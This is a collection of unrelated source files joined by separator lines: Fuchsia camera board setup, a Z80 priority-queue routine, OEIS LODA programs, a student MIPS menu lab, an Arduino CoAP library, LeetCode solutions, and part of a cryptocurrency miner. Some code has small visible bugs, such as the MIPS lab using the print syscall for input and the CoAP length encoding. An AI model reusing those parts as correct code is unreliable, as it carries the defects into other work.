{countof(root_match), root_match},
{countof(clk_sensor_match), clk_sensor_match},
};
static const device_component_part_t mipicsi_component[] = {
{countof(root_match), root_match},
{countof(mipicsi_match), mipicsi_match},
};
static const device_component_t imx227_sensor_components[] = {
{countof(i2c_component), i2c_component},
{countof(gpio_vana_component), gpio_vana_component},
{countof(gpio_vdig_component), gpio_vdig_component},
{countof(gpio_reset_component), gpio_reset_component},
{countof(clk_sensor_component), clk_sensor_component},
{countof(mipicsi_component), mipicsi_component},
};
// Composite device binding rules for Camera Controller
static const zx_bind_inst_t isp_match[] = {
BI_MATCH_IF(EQ, BIND_PROTOCOL, ZX_PROTOCOL_ISP),
};
static const zx_bind_inst_t gdc_match[] = {
BI_MATCH_IF(EQ, BIND_PROTOCOL, ZX_PROTOCOL_GDC),
};
static const zx_bind_inst_t sysmem_match[] = {
BI_MATCH_IF(EQ, BIND_PROTOCOL, ZX_PROTOCOL_SYSMEM),
};
static const device_component_part_t isp_component[] = {
{countof(root_match), root_match},
{countof(isp_match), isp_match},
};
static const device_component_part_t gdc_component[] = {
{countof(root_match), root_match},
{countof(gdc_match), gdc_match},
};
static const device_component_part_t sysmem_component[] = {
{countof(root_match), root_match},
{countof(sysmem_match), sysmem_match},
};
static const device_component_t camera_controller_components[] = {
{countof(isp_component), isp_component},
{countof(gdc_component), gdc_component},
{countof(sysmem_component), sysmem_component},
};
constexpr pbus_mmio_t mipi_mmios[] = {
// CSI PHY0
{
.base = T931_CSI_PHY0_BASE,
.length = T931_CSI_PHY0_LENGTH,
},
// Analog PHY
{
.base = T931_APHY_BASE,
.length = T931_APHY_LENGTH,
},
// CSI HOST0
{
.base = T931_CSI_HOST0_BASE,
.length = T931_CSI_HOST0_LENGTH,
},
// MIPI Adapter
{
.base = T931_MIPI_ADAPTER_BASE,
.length = T931_MIPI_ADAPTER_LENGTH,
},
// HIU for clocks.
{
.base = T931_HIU_BASE,
.length = T931_HIU_LENGTH,
},
};
constexpr pbus_bti_t mipi_btis[] = {
{
.iommu_index = 0,
.bti_id = BTI_MIPI,
},
};
constexpr pbus_irq_t mipi_irqs[] = {
{
.irq = T931_MIPI_ADAPTER_IRQ,
.mode = ZX_INTERRUPT_MODE_EDGE_HIGH,
},
};
// Binding rules for MIPI Driver
static const pbus_dev_t mipi_dev = []() {
// MIPI CSI PHY ADAPTER
pbus_dev_t dev = {};
dev.name = "mipi-csi2";
dev.vid = PDEV_VID_AMLOGIC;
dev.pid = PDEV_PID_AMLOGIC_T931;
dev.did = PDEV_DID_AMLOGIC_MIPI_CSI;
dev.mmio_list = mipi_mmios;
dev.mmio_count = countof(mipi_mmios);
dev.bti_list = mipi_btis;
dev.bti_count = countof(mipi_btis);
dev.irq_list = mipi_irqs;
dev.irq_count = countof(mipi_irqs);
return dev;
}();
} // namespace
// Refer to camera design document for driver
// design and layout details.
zx_status_t Sherlock::CameraInit() {
// Set GPIO alternate functions.
gpio_impl_.SetAltFunction(T931_GPIOAO(10), kClk24MAltFunc);
gpio_impl_.SetDriveStrength(T931_GPIOAO(10), kClkGpioDriveStrength);
zx_status_t status = pbus_.DeviceAdd(&mipi_dev);
if (status != ZX_OK) {
zxlogf(ERROR, "%s: Mipi_Device DeviceAdd failed %d\n", __func__, status);
return status;
}
constexpr zx_device_prop_t sensor_props[] = {
{BIND_PLATFORM_DEV_VID, 0, PDEV_VID_SONY},
{BIND_PLATFORM_DEV_PID, 0, PDEV_PID_SONY_IMX227},
{BIND_PLATFORM_DEV_DID, 0, PDEV_DID_CAMERA_SENSOR},
};
status = DdkAddComposite("imx227-sensor", sensor_props, countof(sensor_props),
imx227_sensor_components, countof(imx227_sensor_components), UINT32_MAX);
if (status != ZX_OK) {
zxlogf(ERROR, "%s: IMX227 DeviceAdd failed %d\n", __func__, status);
return status;
}
status = pbus_.CompositeDeviceAdd(&gdc_dev, gdc_components, countof(gdc_components), 1);
if (status != ZX_OK) {
zxlogf(ERROR, "%s: GDC DeviceAdd failed %d\n", __func__, status);
return status;
}
status = pbus_.CompositeDeviceAdd(&ge2d_dev, ge2d_components, countof(ge2d_components), 1);
if (status != ZX_OK) {
zxlogf(ERROR, "%s: GE2D DeviceAdd failed %d\n", __func__, status);
return status;
}
// Add a composite device for ARM ISP
// TODO(CAM-138): This is a temporary hack. Remove when new driver validated.
if (kUseArmDriver) {
status = pbus_.CompositeDeviceAdd(&isp_dev_v2, isp_components, countof(isp_components), 1);
} else {
status = pbus_.CompositeDeviceAdd(&isp_dev, isp_components, countof(isp_components), 1);
}
if (status != ZX_OK) {
zxlogf(ERROR, "%s: ISP DeviceAdd failed %d\n", __func__, status);
return status;
}
constexpr zx_device_prop_t camera_controller_props[] = {
{BIND_PLATFORM_DEV_DID, 0, PDEV_DID_CAMERA_CONTROLLER},
};
status = DdkAddComposite("camera-controller", camera_controller_props,
countof(camera_controller_props), camera_controller_components,
countof(camera_controller_components), 0);
if (status != ZX_OK) {
zxlogf(ERROR, "%s: Camera Controller DeviceAdd failed %d\n", __func__, status);
return status;
}
return status;
}
} // namespace sherlock
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; ba_priority_queue_t *
; ba_priority_queue_init(void *p, void *data, size_t capacity, int (*compar)(const void *, const void *))
;
; Initialize a byte array priority queue structure at address p
; and set the queue's initial data and capacity members as
; well as the compare function.
;
; priority_queue.size = 0
;
; ===============================================================
SECTION code_adt_ba_priority_queue
PUBLIC asm_ba_priority_queue_init
EXTERN asm_b_array_init
asm_ba_priority_queue_init:
; enter : hl = p
; de = data
; bc = capacity in bytes
; ix = int (*compar)(const void *, const void *)
;
; exit : hl = priority_queue *
; carry reset
;
; uses : af
push de
push ix
pop de
ld (hl),e
inc hl
ld (hl),d
inc hl
pop de
call asm_b_array_init
dec hl
dec hl
ret
|
; A022031: Define the sequence T(a(0),a(1)) by a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n) for n >= 0. This is T(4,17).
; Submitted by Jon Maiga
; 4,17,72,304,1283,5414,22845,96397,406757,1716352,7242319,30559689,128949662,544115986,2295951781,9687997993,40879475731,172495033261,727860031657,3071278144467,12959565068034,54684179957837,230745362360740,973653116715681,4108426630946045,17335916757297866,73150633274606431,308666407631621298,1302448754511111320,5495812683808746246,23190130859966530281,97853074739380395730,412900828105313476286,1742276308681408215579,7351709004125028329457,31021270858143854749830,130897352590311978180234
mov $4,2
lpb $4
mov $1,4
mov $2,5
mov $3,8
mov $4,1
lpb $0
sub $0,1
div $3,$2
mov $2,$1
mul $1,4
add $1,$3
mul $3,$1
lpe
lpe
mov $0,$1
|
# Zeynep Cankara -- 04/03/2019
# Course: CS223
# Section: 02
# Lab: 02
# preLIM2.asm -- Perfprms number conversions
#************************
# *
# text segment *
# *
#************************
.globl __start
.text
__start:
# Print an intro message
li $v0, 4
la $a0, intro
syscall
# Call menu
interactWithUser:
# display the menu
jal display
# user option selection
li $v0, 4 # v0 contains char
syscall
# load options
li $t0, 'a'
li $t1, 'b'
li $t2, 'c'
# make calls to the subprogram labels according to the which option chosen
beq $v0, $t0, option1
beq $v0, $t1, option2
beq $v0, $t2, option3
# invalid character print an error message
li $v0, 4
la $a0, errorOptionsMsg
syscall
j interactWithUser
# make function calls to the subprograms
option1:
#jal convertToDec
j continue
option2:
#jal reverseNumber
j continue
continue:
# Display menu again
j interactWithUser
option3:
# exit from the loop
# exit the program
li $v0, 10
syscall
# Function for intereacting with the user
# Function for displaying the options
display:
li $v0, 4
la $a0, menuMsg
syscall
la $a0, convertToDecMsg
syscall
la $a0, reverseNumberMsg
syscall
la $a0, exitMsg
syscall
jr $ra # back to main
#************************
# *
# data segment *
# *
#************************
.data
intro: .asciiz "\nPROGRAM: Interactive menu for performing number conversions\n"
menuMsg: .asciiz "\n*** MENU ***\n"
convertToDecMsg: .asciiz "a) Convert user input(octal) to decimal\n"
reverseNumberMsg: .asciiz "b) Reverse the user input(hex)\n"
exitMsg: .asciiz "c) Exit menu\n"
errorOptionsMsg: .asciiz "\nERROR: Please choose a valid menu option!!!\n"
|
; A141375: Primes of the form x^2+8*x*y-8*y^2 (as well as of the form x^2+10*x*y+y^2).
; 73,97,193,241,313,337,409,433,457,577,601,673,769,937,1009,1033,1129,1153,1201,1249,1297,1321,1489,1609,1657,1753,1777,1801,1873,1993,2017,2089,2113,2137,2161,2281,2377,2473,2521,2593,2617,2689,2713,2833,2857
mov $2,261241
lpb $2
sub $2,1
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $4,$0
max $4,0
cmp $4,$0
mov $5,11
lpb $5
add $1,5
mul $2,$4
trn $5,3
add $6,6
lpe
lpe
div $1,20
sub $1,4
mul $1,24
add $1,73
mov $0,$1
|
#include "coap-simple.h"
#include "Arduino.h"
#define LOGGING
void CoapPacket::addOption(uint8_t number, uint8_t length, uint8_t *opt_payload)
{
options[optionnum].number = number;
options[optionnum].length = length;
options[optionnum].buffer = opt_payload;
++optionnum;
}
Coap::Coap(
UDP& udp
) {
this->_udp = &udp;
}
bool Coap::start() {
this->start(COAP_DEFAULT_PORT);
return true;
}
bool Coap::start(int port) {
this->_udp->begin(port);
return true;
}
uint16_t Coap::sendPacket(CoapPacket &packet, IPAddress ip) {
return this->sendPacket(packet, ip, COAP_DEFAULT_PORT);
}
uint16_t Coap::sendPacket(CoapPacket &packet, IPAddress ip, int port) {
uint8_t buffer[COAP_BUF_MAX_SIZE];
uint8_t *p = buffer;
uint16_t running_delta = 0;
uint16_t packetSize = 0;
// make coap packet base header
*p = 0x01 << 6;
*p |= (packet.type & 0x03) << 4;
*p++ |= (packet.tokenlen & 0x0F);
*p++ = packet.code;
*p++ = (packet.messageid >> 8);
*p++ = (packet.messageid & 0xFF);
p = buffer + COAP_HEADER_SIZE;
packetSize += 4;
// make token
if (packet.token != NULL && packet.tokenlen <= 0x0F) {
memcpy(p, packet.token, packet.tokenlen);
p += packet.tokenlen;
packetSize += packet.tokenlen;
}
// make option header
for (int i = 0; i < packet.optionnum; i++) {
uint32_t optdelta;
uint8_t len, delta;
if (packetSize + 5 + packet.options[i].length >= COAP_BUF_MAX_SIZE) {
return 0;
}
optdelta = packet.options[i].number - running_delta;
COAP_OPTION_DELTA(optdelta, &delta);
COAP_OPTION_DELTA((uint32_t)packet.options[i].length, &len);
*p++ = (0xFF & (delta << 4 | len));
if (delta == 13) {
*p++ = (optdelta - 13);
packetSize++;
} else if (delta == 14) {
*p++ = ((optdelta - 269) >> 8);
*p++ = (0xFF & (optdelta - 269));
packetSize+=2;
} if (len == 13) {
*p++ = (packet.options[i].length - 13);
packetSize++;
} else if (len == 14) {
*p++ = (packet.options[i].length >> 8);
*p++ = (0xFF & (packet.options[i].length - 269));
packetSize+=2;
}
memcpy(p, packet.options[i].buffer, packet.options[i].length);
p += packet.options[i].length;
packetSize += packet.options[i].length + 1;
running_delta = packet.options[i].number;
}
// make payload
if (packet.payloadlen > 0) {
if ((packetSize + 1 + packet.payloadlen) >= COAP_BUF_MAX_SIZE) {
return 0;
}
*p++ = 0xFF;
memcpy(p, packet.payload, packet.payloadlen);
packetSize += 1 + packet.payloadlen;
}
_udp->beginPacket(ip, port);
_udp->write(buffer, packetSize);
_udp->endPacket();
return packet.messageid;
}
uint16_t Coap::get(IPAddress ip, int port, const char *url) {
return this->send(ip, port, url, COAP_CON, COAP_GET, NULL, 0, NULL, 0);
}
uint16_t Coap::put(IPAddress ip, int port, const char *url, const char *payload) {
return this->send(ip, port, url, COAP_CON, COAP_PUT, NULL, 0, (uint8_t *)payload, strlen(payload));
}
uint16_t Coap::put(IPAddress ip, int port, const char *url, const char *payload, size_t payloadlen) {
return this->send(ip, port, url, COAP_CON, COAP_PUT, NULL, 0, (uint8_t *)payload, payloadlen);
}
uint16_t Coap::send(IPAddress ip, int port, const char *url, COAP_TYPE type, COAP_METHOD method, const uint8_t *token, uint8_t tokenlen, const uint8_t *payload, size_t payloadlen) {
return this->send(ip, port, url, type, method, token, tokenlen, payload, payloadlen, COAP_NONE);
}
uint16_t Coap::send(IPAddress ip, int port, const char *url, COAP_TYPE type, COAP_METHOD method, const uint8_t *token, uint8_t tokenlen, const uint8_t *payload, size_t payloadlen, COAP_CONTENT_TYPE content_type) {
// make packet
CoapPacket packet;
packet.type = type;
packet.code = method;
packet.token = token;
packet.tokenlen = tokenlen;
packet.payload = payload;
packet.payloadlen = payloadlen;
packet.optionnum = 0;
packet.messageid = rand();
// use URI_HOST UIR_PATH
char ipaddress[16] = "";
sprintf(ipaddress, "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);
packet.addOption(COAP_URI_HOST, strlen(ipaddress), (uint8_t *)ipaddress);
// parse url
int idx = 0;
for (int i = 0; i < strlen(url); i++) {
if (url[i] == '/') {
packet.addOption(COAP_URI_PATH, i-idx, (uint8_t *)(url + idx));
idx = i + 1;
}
}
if (idx <= strlen(url)) {
packet.addOption(COAP_URI_PATH, strlen(url)-idx, (uint8_t *)(url + idx));
}
// if Content-Format option
uint8_t optionBuffer[2] {0};
if (content_type != COAP_NONE) {
optionBuffer[0] = ((uint16_t)content_type & 0xFF00) >> 8;
optionBuffer[1] = ((uint16_t)content_type & 0x00FF) ;
packet.addOption(COAP_CONTENT_FORMAT, 2, optionBuffer);
}
// send packet
return this->sendPacket(packet, ip, port);
}
int Coap::parseOption(CoapOption *option, uint16_t *running_delta, uint8_t **buf, size_t buflen) {
uint8_t *p = *buf;
uint8_t headlen = 1;
uint16_t len, delta;
if (buflen < headlen) return -1;
delta = (p[0] & 0xF0) >> 4;
len = p[0] & 0x0F;
if (delta == 13) {
headlen++;
if (buflen < headlen) return -1;
delta = p[1] + 13;
p++;
} else if (delta == 14) {
headlen += 2;
if (buflen < headlen) return -1;
delta = ((p[1] << 8) | p[2]) + 269;
p+=2;
} else if (delta == 15) return -1;
if (len == 13) {
headlen++;
if (buflen < headlen) return -1;
len = p[1] + 13;
p++;
} else if (len == 14) {
headlen += 2;
if (buflen < headlen) return -1;
len = ((p[1] << 8) | p[2]) + 269;
p+=2;
} else if (len == 15)
return -1;
if ((p + 1 + len) > (*buf + buflen)) return -1;
option->number = delta + *running_delta;
option->buffer = p+1;
option->length = len;
*buf = p + 1 + len;
*running_delta += delta;
return 0;
}
bool Coap::loop() {
uint8_t buffer[COAP_BUF_MAX_SIZE];
int32_t packetlen = _udp->parsePacket();
while (packetlen > 0) {
packetlen = _udp->read(buffer, packetlen >= COAP_BUF_MAX_SIZE ? COAP_BUF_MAX_SIZE : packetlen);
CoapPacket packet;
// parse coap packet header
if (packetlen < COAP_HEADER_SIZE || (((buffer[0] & 0xC0) >> 6) != 1)) {
packetlen = _udp->parsePacket();
continue;
}
packet.type = (buffer[0] & 0x30) >> 4;
packet.tokenlen = buffer[0] & 0x0F;
packet.code = buffer[1];
packet.messageid = 0xFF00 & (buffer[2] << 8);
packet.messageid |= 0x00FF & buffer[3];
if (packet.tokenlen == 0) packet.token = NULL;
else if (packet.tokenlen <= 8) packet.token = buffer + 4;
else {
packetlen = _udp->parsePacket();
continue;
}
// parse packet options/payload
if (COAP_HEADER_SIZE + packet.tokenlen < packetlen) {
int optionIndex = 0;
uint16_t delta = 0;
uint8_t *end = buffer + packetlen;
uint8_t *p = buffer + COAP_HEADER_SIZE + packet.tokenlen;
while(optionIndex < COAP_MAX_OPTION_NUM && *p != 0xFF && p < end) {
//packet.options[optionIndex];
if (0 != parseOption(&packet.options[optionIndex], &delta, &p, end-p))
return false;
optionIndex++;
}
packet.optionnum = optionIndex;
if (p+1 < end && *p == 0xFF) {
packet.payload = p+1;
packet.payloadlen = end-(p+1);
} else {
packet.payload = NULL;
packet.payloadlen= 0;
}
}
if (packet.type == COAP_ACK) {
// call response function
resp(packet, _udp->remoteIP(), _udp->remotePort());
} else {
String url = "";
// call endpoint url function
for (int i = 0; i < packet.optionnum; i++) {
if (packet.options[i].number == COAP_URI_PATH && packet.options[i].length > 0) {
char urlname[packet.options[i].length + 1];
memcpy(urlname, packet.options[i].buffer, packet.options[i].length);
urlname[packet.options[i].length] = 0;
if(url.length() > 0)
url += "/";
url += urlname;
}
}
if (!uri.find(url)) {
sendResponse(_udp->remoteIP(), _udp->remotePort(), packet.messageid, NULL, 0,
COAP_NOT_FOUNT, COAP_NONE, NULL, 0);
} else {
uri.find(url)(packet, _udp->remoteIP(), _udp->remotePort());
}
}
/* this type check did not use.
if (packet.type == COAP_CON) {
// send response
sendResponse(_udp->remoteIP(), _udp->remotePort(), packet.messageid);
}
*/
// next packet
packetlen = _udp->parsePacket();
}
return true;
}
uint16_t Coap::sendResponse(IPAddress ip, int port, uint16_t messageid) {
return this->sendResponse(ip, port, messageid, NULL, 0, COAP_CONTENT, COAP_TEXT_PLAIN, NULL, 0);
}
uint16_t Coap::sendResponse(IPAddress ip, int port, uint16_t messageid, const char *payload) {
return this->sendResponse(ip, port, messageid, payload, strlen(payload), COAP_CONTENT, COAP_TEXT_PLAIN, NULL, 0);
}
uint16_t Coap::sendResponse(IPAddress ip, int port, uint16_t messageid, const char *payload, size_t payloadlen) {
return this->sendResponse(ip, port, messageid, payload, payloadlen, COAP_CONTENT, COAP_TEXT_PLAIN, NULL, 0);
}
uint16_t Coap::sendResponse(IPAddress ip, int port, uint16_t messageid, const char *payload, size_t payloadlen,
COAP_RESPONSE_CODE code, COAP_CONTENT_TYPE type, const uint8_t *token, int tokenlen) {
// make packet
CoapPacket packet;
packet.type = COAP_ACK;
packet.code = code;
packet.token = token;
packet.tokenlen = tokenlen;
packet.payload = (uint8_t *)payload;
packet.payloadlen = payloadlen;
packet.optionnum = 0;
packet.messageid = messageid;
// if more options?
uint8_t optionBuffer[2] = {0};
optionBuffer[0] = ((uint16_t)type & 0xFF00) >> 8;
optionBuffer[1] = ((uint16_t)type & 0x00FF) ;
packet.addOption(COAP_CONTENT_FORMAT, 2, optionBuffer);
return this->sendPacket(packet, ip, port);
}
|
// Time: O(n * k)
// Space: O(k)
class Solution {
public:
int minCostII(vector<vector<int>>& costs) {
if (costs.empty()) {
return 0;
}
vector<vector<int>> min_cost(2, costs[0]);
const int n = costs.size();
const int k = costs[0].size();
for (int i = 1; i < n; ++i) {
int smallest = numeric_limits<int>::max(), second_smallest = numeric_limits<int>::max();
for (int j = 0; j < k; ++j) {
if (min_cost[(i - 1) % 2][j] < smallest) {
second_smallest = smallest;
smallest = min_cost[(i - 1) % 2][j];
} else if (min_cost[(i - 1) % 2][j] < second_smallest) {
second_smallest = min_cost[(i - 1) % 2][j];
}
}
for (int j = 0; j < k; ++j) {
const int min_j = (min_cost[(i - 1) % 2][j] != smallest) ? smallest : second_smallest;
min_cost[i % 2][j] = costs[i][j] + min_j;
}
}
return *min_element(min_cost[(n - 1) % 2].cbegin(), min_cost[(n - 1) % 2].cend());
}
};
// Time: O(n * k)
// Space: O(k)
class Solution2{
public:
int minCostII(vector<vector<int>>& costs) {
if (costs.empty()) {
return 0;
}
auto combine = [](const vector<int>& tmp, const vector<int>& house) {
const int smallest = *min_element(tmp.cbegin(), tmp.cend());
const int i = distance(tmp.begin(), find(tmp.cbegin(), tmp.cend(), smallest));
vector<int> tmp2(tmp);
tmp2.erase(tmp2.begin() + i);
const int second_smallest = *min_element(tmp2.cbegin(), tmp2.cend());
vector<int> min_cost(tmp.size(), smallest);
min_cost[i] = second_smallest;
transform(min_cost.cbegin(), min_cost.cend(), house.cbegin(),
min_cost.begin(), std::plus<int>());
return min_cost;
};
vector<int> min_cost = accumulate(costs.cbegin(), costs.cend(), vector<int>(costs[0].size(), 0), combine);
return *min_element(min_cost.cbegin(), min_cost.cend());
}
};
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2015 The Bitcoin Core developers
// Copyright (c) 2014-2018 The Dash Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "miner.h"
#include "amount.h"
#include "chain.h"
#include "chainparams.h"
#include "coins.h"
#include "consensus/params.h"
#include "consensus/consensus.h"
#include "consensus/merkle.h"
#include "consensus/validation.h"
#include "hash.h"
#include "validation.h"
#include "net.h"
#include "policy/policy.h"
#include "pow.h"
#include "primitives/transaction.h"
#include "script/standard.h"
#include "timedata.h"
#include "txmempool.h"
#include "util.h"
#include "utilmoneystr.h"
#include "masternode-payments.h"
#include "masternode-sync.h"
#include "validationinterface.h"
#include "evo/specialtx.h"
#include "evo/cbtx.h"
#include "evo/simplifiedmns.h"
#include "evo/deterministicmns.h"
#include "llmq/quorums_blockprocessor.h"
#include "llmq/quorums_chainlocks.h"
#include <algorithm>
#include <boost/thread.hpp>
#include <boost/tuple/tuple.hpp>
#include <queue>
#include <utility>
//////////////////////////////////////////////////////////////////////////////
//
// AlterdotMiner
//
//
// Unconfirmed transactions in the memory pool often depend on other
// transactions in the memory pool. When we select transactions from the
// pool, we select by highest fee rate of a transaction combined with all
// its ancestors.
uint64_t nLastBlockTx = 0;
uint64_t nLastBlockSize = 0;
class ScoreCompare
{
public:
ScoreCompare() {}
bool operator()(const CTxMemPool::txiter a, const CTxMemPool::txiter b)
{
return CompareTxMemPoolEntryByScore()(*b,*a); // Convert to less than
}
};
int64_t UpdateTime(CBlockHeader* pblock, const Consensus::Params& consensusParams, const CBlockIndex* pindexPrev)
{
int64_t nOldTime = pblock->nTime;
int64_t nNewTime = std::max(pindexPrev->GetMedianTimePast()+1, GetAdjustedTime());
if (nOldTime < nNewTime)
pblock->nTime = nNewTime;
// Updating time can change work required on testnet:
if (consensusParams.fPowAllowMinDifficultyBlocks)
pblock->nBits = GetNextWorkRequired(pindexPrev, pblock, consensusParams);
return nNewTime - nOldTime;
}
BlockAssembler::Options::Options() {
blockMinFeeRate = CFeeRate(DEFAULT_BLOCK_MIN_TX_FEE);
nBlockMaxSize = DEFAULT_BLOCK_MAX_SIZE;
}
BlockAssembler::BlockAssembler(const CChainParams& params, const Options& options) : chainparams(params)
{
blockMinFeeRate = options.blockMinFeeRate;
// Limit size to between 1K and MaxBlockSize()-1K for sanity:
nBlockMaxSize = std::max((unsigned int)1000, std::min((unsigned int)(MaxBlockSize(fDIP0001ActiveAtTip) - 1000), (unsigned int)options.nBlockMaxSize));
}
static BlockAssembler::Options DefaultOptions(const CChainParams& params)
{
// Block resource limits
BlockAssembler::Options options;
options.nBlockMaxSize = DEFAULT_BLOCK_MAX_SIZE;
if (IsArgSet("-blockmaxsize")) {
options.nBlockMaxSize = GetArg("-blockmaxsize", DEFAULT_BLOCK_MAX_SIZE);
}
if (IsArgSet("-blockmintxfee")) {
CAmount n = 0;
ParseMoney(GetArg("-blockmintxfee", ""), n);
options.blockMinFeeRate = CFeeRate(n);
} else {
options.blockMinFeeRate = CFeeRate(DEFAULT_BLOCK_MIN_TX_FEE);
}
return options;
}
BlockAssembler::BlockAssembler(const CChainParams& params) : BlockAssembler(params, DefaultOptions(params)) {}
void BlockAssembler::resetBlock()
{
inBlock.clear();
// Reserve space for coinbase tx
nBlockSize = 1000;
nBlockSigOps = 100;
// These counters do not include coinbase tx
nBlockTx = 0;
nFees = 0;
}
std::unique_ptr<CBlockTemplate> BlockAssembler::CreateNewBlock(const CScript& scriptPubKeyIn)
{
int64_t nTimeStart = GetTimeMicros();
resetBlock();
pblocktemplate.reset(new CBlockTemplate());
if(!pblocktemplate.get())
return nullptr;
pblock = &pblocktemplate->block; // pointer for convenience
// Add dummy coinbase tx as first transaction
pblock->vtx.emplace_back();
pblocktemplate->vTxFees.push_back(-1); // updated at end
pblocktemplate->vTxSigOps.push_back(-1); // updated at end
LOCK2(cs_main, mempool.cs);
CBlockIndex* pindexPrev = chainActive.Tip();
assert(pindexPrev != nullptr);
nHeight = pindexPrev->nHeight + 1;
bool fDIP0003Active_context = nHeight >= chainparams.GetConsensus().DIP0003Height;
bool fDIP0008Active_context = nHeight >= chainparams.GetConsensus().DIP0008Height;
bool fLLMQSwitch = nHeight >= chainparams.GetConsensus().LLMQSwitchHeight;
pblock->nVersion = ComputeBlockVersion(pindexPrev, chainparams.GetConsensus(), chainparams.BIP9CheckMasternodesUpgraded());
// -regtest only: allow overriding block.nVersion with
// -blockversion=N to test forking scenarios
if (chainparams.MineBlocksOnDemand())
pblock->nVersion = GetArg("-blockversion", pblock->nVersion);
pblock->nTime = GetAdjustedTime();
const int64_t nMedianTimePast = pindexPrev->GetMedianTimePast();
nLockTimeCutoff = (STANDARD_LOCKTIME_VERIFY_FLAGS & LOCKTIME_MEDIAN_TIME_PAST)
? nMedianTimePast
: pblock->GetBlockTime();
if (fDIP0003Active_context) {
std::vector<Consensus::LLMQType> usedLLMQs;
if (!fLLMQSwitch) {
usedLLMQs.insert(usedLLMQs.end(), { Consensus::LLMQ_50_60, Consensus::LLMQ_400_60, Consensus::LLMQ_400_85 });
} else {
usedLLMQs.insert(usedLLMQs.end(), { Consensus::LLMQ_10_60 });
}
for (auto llmqType : usedLLMQs) {
CTransactionRef qcTx;
if (llmq::quorumBlockProcessor->GetMinableCommitmentTx(llmqType, nHeight, qcTx)) {
pblock->vtx.emplace_back(qcTx);
pblocktemplate->vTxFees.emplace_back(0);
pblocktemplate->vTxSigOps.emplace_back(0);
nBlockSize += qcTx->GetTotalSize();
++nBlockTx;
}
}
}
int nPackagesSelected = 0;
int nDescendantsUpdated = 0;
addPackageTxs(nPackagesSelected, nDescendantsUpdated);
int64_t nTime1 = GetTimeMicros();
nLastBlockTx = nBlockTx;
nLastBlockSize = nBlockSize;
LogPrintf("CreateNewBlock(): total size %u txs: %u fees: %ld sigops %d\n", nBlockSize, nBlockTx, nFees, nBlockSigOps);
// Create coinbase transaction.
CMutableTransaction coinbaseTx;
coinbaseTx.vin.resize(1);
coinbaseTx.vin[0].prevout.SetNull();
coinbaseTx.vout.resize(1);
coinbaseTx.vout[0].scriptPubKey = scriptPubKeyIn;
// NOTE: unlike in bitcoin, we need to pass PREVIOUS block height here (Alterdot), in Alterdot we got back to the current block height
CAmount blockReward = GetPoWBlockPayment(nHeight, nFees);
// Compute regular coinbase transaction.
coinbaseTx.vout[0].nValue = blockReward;
if (!fDIP0003Active_context) {
coinbaseTx.vin[0].scriptSig = CScript() << nHeight << OP_0;
} else {
coinbaseTx.vin[0].scriptSig = CScript() << OP_RETURN;
coinbaseTx.nVersion = 3;
coinbaseTx.nType = TRANSACTION_COINBASE;
CCbTx cbTx;
if (fDIP0008Active_context) {
cbTx.nVersion = 2;
} else {
cbTx.nVersion = 1;
}
cbTx.nHeight = nHeight;
CValidationState state;
if (!CalcCbTxMerkleRootMNList(*pblock, pindexPrev, cbTx.merkleRootMNList, state)) {
throw std::runtime_error(strprintf("%s: CalcCbTxMerkleRootMNList failed: %s", __func__, FormatStateMessage(state)));
}
if (fDIP0008Active_context) {
if (!CalcCbTxMerkleRootQuorums(*pblock, pindexPrev, cbTx.merkleRootQuorums, state)) {
throw std::runtime_error(strprintf("%s: CalcCbTxMerkleRootQuorums failed: %s", __func__, FormatStateMessage(state)));
}
}
SetTxPayload(coinbaseTx, cbTx);
}
// Update coinbase transaction with additional info about masternode and governance payments,
// get some info back to pass to getblocktemplate
FillBlockPayments(coinbaseTx, nHeight, blockReward, pblocktemplate->voutMasternodePayments, pblocktemplate->voutSuperblockPayments);
// LogPrintf("CreateNewBlock -- nBlockHeight %d blockReward %lld txoutMasternode %s coinbaseTx %s",
// nHeight, blockReward, pblocktemplate->txoutsMasternode.ToString(), coinbaseTx.ToString());
pblock->vtx[0] = MakeTransactionRef(std::move(coinbaseTx));
pblocktemplate->vTxFees[0] = -nFees;
// Fill in header
pblock->hashPrevBlock = pindexPrev->GetBlockHash();
UpdateTime(pblock, chainparams.GetConsensus(), pindexPrev);
pblock->nBits = GetNextWorkRequired(pindexPrev, pblock, chainparams.GetConsensus());
pblock->nNonce = 0;
pblocktemplate->nPrevBits = pindexPrev->nBits;
pblocktemplate->vTxSigOps[0] = GetLegacySigOpCount(*pblock->vtx[0]);
CValidationState state;
if (!TestBlockValidity(state, chainparams, *pblock, pindexPrev, false, false)) {
throw std::runtime_error(strprintf("%s: TestBlockValidity failed: %s", __func__, FormatStateMessage(state)));
}
int64_t nTime2 = GetTimeMicros();
LogPrint("bench", "CreateNewBlock() packages: %.2fms (%d packages, %d updated descendants), validity: %.2fms (total %.2fms)\n", 0.001 * (nTime1 - nTimeStart), nPackagesSelected, nDescendantsUpdated, 0.001 * (nTime2 - nTime1), 0.001 * (nTime2 - nTimeStart));
return std::move(pblocktemplate);
}
void BlockAssembler::onlyUnconfirmed(CTxMemPool::setEntries& testSet)
{
for (CTxMemPool::setEntries::iterator iit = testSet.begin(); iit != testSet.end(); ) {
// Only test txs not already in the block
if (inBlock.count(*iit)) {
testSet.erase(iit++);
}
else {
iit++;
}
}
}
bool BlockAssembler::TestPackage(uint64_t packageSize, unsigned int packageSigOps)
{
if (nBlockSize + packageSize >= nBlockMaxSize)
return false;
if (nBlockSigOps + packageSigOps >= MaxBlockSigOps(fDIP0001ActiveAtTip))
return false;
return true;
}
// Perform transaction-level checks before adding to block:
// - transaction finality (locktime)
// - safe TXs in regard to ChainLocks
bool BlockAssembler::TestPackageTransactions(const CTxMemPool::setEntries& package)
{
BOOST_FOREACH (const CTxMemPool::txiter it, package) {
if (!IsFinalTx(it->GetTx(), nHeight, nLockTimeCutoff))
return false;
if (!llmq::chainLocksHandler->IsTxSafeForMining(it->GetTx().GetHash())) {
return false;
}
}
return true;
}
void BlockAssembler::AddToBlock(CTxMemPool::txiter iter)
{
pblock->vtx.emplace_back(iter->GetSharedTx());
pblocktemplate->vTxFees.push_back(iter->GetFee());
pblocktemplate->vTxSigOps.push_back(iter->GetSigOpCount());
nBlockSize += iter->GetTxSize();
++nBlockTx;
